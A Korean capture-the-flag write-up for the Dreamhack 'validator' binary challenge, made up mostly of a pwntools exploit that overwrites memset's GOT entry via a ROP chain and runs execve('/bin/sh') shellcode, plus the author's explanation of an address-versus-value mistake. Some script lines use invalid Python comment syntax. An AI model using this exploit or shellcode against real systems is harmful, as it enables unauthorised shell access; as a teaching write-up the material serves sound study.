참고: https://johyungen.tistory.com/581 https://koharinn.tistory.com/81

from pwn import *


p = remote("host1.dreamhack.games", 19899)
context.log_level ='debug'
#p = process("./validator_dist")
e = ELF("./validator_dist", checksec=False)
 
payload = "DREAMHACK!"
 
lst = []
for i in range(118,0,-1):
    lst.append(i)
payload += bytearray(lst)
payload += p64(0)
# read(0, memset_got, len(shellcode))
payload += p64(0x4006f3) // pop rdi ret 
payload += p64(0) //1st argument
payload += p64(0x4006f1) // pop rsi ; pop r15 ; ret
payload += p64(e.got['memset']) //2nd argument
payload += p64(0)//dummy for pop r15
payload += p64(0x40057b)//pop rdx ; ret
payload += p64(0x50)//length of shellcoded
payload += p64(0x400470)//read_plt
payload += p64(e.got['memset'] )//ret of read() -> address of shellcode
p.sendline(str(payload))
p.sendline("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05")
p.interactive()

pie가 없으므로 plt주소는 랜덤주소가 아닙니다. 따라서 ROPgadget 으로 구한 주소들을 그대로 쓰면 됩니다. ropshellcode를 이용한 간단한 got덮어쓰기 예제입니다만 주소와 값 개념을 혼동해 해멘 내용을 추가로 적겠습니다.


혼동될 수 있는 부분

# read(0, memset_got, len(shellcode))
payload += p64(0x4006f3) # pop rdi ret 
payload += p64(0) # 1st argument
payload += p64(0x4006f1) # pop rsi ; pop r15 ; ret
payload += p64(e.got['memset']) #2nd argument
payload += p64(0)#dummy for pop r15
payload += p64(0x40057b)#pop rdx ; ret
payload += p64(0x50)#length of shellcoded
payload += p64(0x400470)#read_plt
payload += p64(0x400460)#memset_plt

제가 잘못쓴 부분입니다. memsetgot를 오염시킨 뒤 memset_plt를 실행하고 있습니다. 셸코드를 실행하려면 셸코드가 적재된 주소로 점프해야 합니다. memset_plt를 실행하면 got영역을 참조하게 되는데 이 경우 got에는 셸코드의 주소가 아닌 셸코드 그자체가 들어있기 때문에 \x48\x31\xff...으로 점프하게 되어 원하는 결과가 나타나지 않게 됩니다. ROP실습에서 got영역에 함수의 라이브러리 주소를 덮고 plt로 실행하는게 습관이 되어 해멨던 것 같습니다.